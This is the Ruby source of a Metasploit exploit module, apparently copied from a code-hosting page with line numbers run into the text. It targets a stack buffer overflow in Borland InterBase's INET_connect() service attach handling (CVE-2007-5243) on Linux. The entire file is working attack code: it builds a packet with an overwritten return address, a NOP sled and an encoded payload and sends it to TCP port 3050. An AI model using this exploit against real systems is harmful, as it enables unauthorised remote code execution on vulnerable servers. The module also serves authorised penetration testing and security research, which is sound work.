Path: blob/master/modules/exploits/linux/misc/ib_inet_connect.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Borland InterBase INET_connect() Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Borland InterBase17by sending a specially crafted service attach request.18},19'Author' => [20'Ramon de C Valle',21'Adriano Lima <adriano[at]risesecurity.org>',22],23'Arch' => ARCH_X86,24'Platform' => 'linux',25'References' => [26[ 'CVE', '2007-5243' ],27[ 'OSVDB', '38605' ],28[ 'BID', '25917' ],29[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],30],31'Privileged' => true,32'License' => MSF_LICENSE,33'Payload' => {34'Space' => 512,35'BadChars' => "\x00\x2f\x3a\x40\x5c",36},37'Targets' => [38# 0x0804d2ee 5b5e5f5dc339[40'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',41{ 'Ret' => 0x0804d2ee }42],43],44'DefaultTarget' => 0,45'DisclosureDate' => '2007-10-03',46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56Opt::RPORT(3050)57],58self.class59)60end6162def exploit63connect6465# Attach database66op_attach = 196768# Create database69op_create = 207071# Service attach72op_service_attach = 827374length = 16175remainder = length.remainder(4)76padding = 07778if remainder > 079padding = (4 - remainder)80end8182buf = ''8384# Operation/packet type85buf << [op_service_attach].pack('N')8687# Id88buf << [0].pack('N')8990# Length91buf << [length].pack('N')9293# Random alpha data94buf << rand_text_alpha(length - 5)9596# Target97buf << [target.ret].pack('L')9899# Separator100buf << ':'101102# Padding103buf << "\x00" * padding104105# Database parameter block106107# Length108buf << [1024].pack('N')109110# It will return into this nop block111buf << make_nops(1024 - payload.encoded.length)112113# Payload114buf << payload.encoded115116sock.put(buf)117118handler119end120end121122123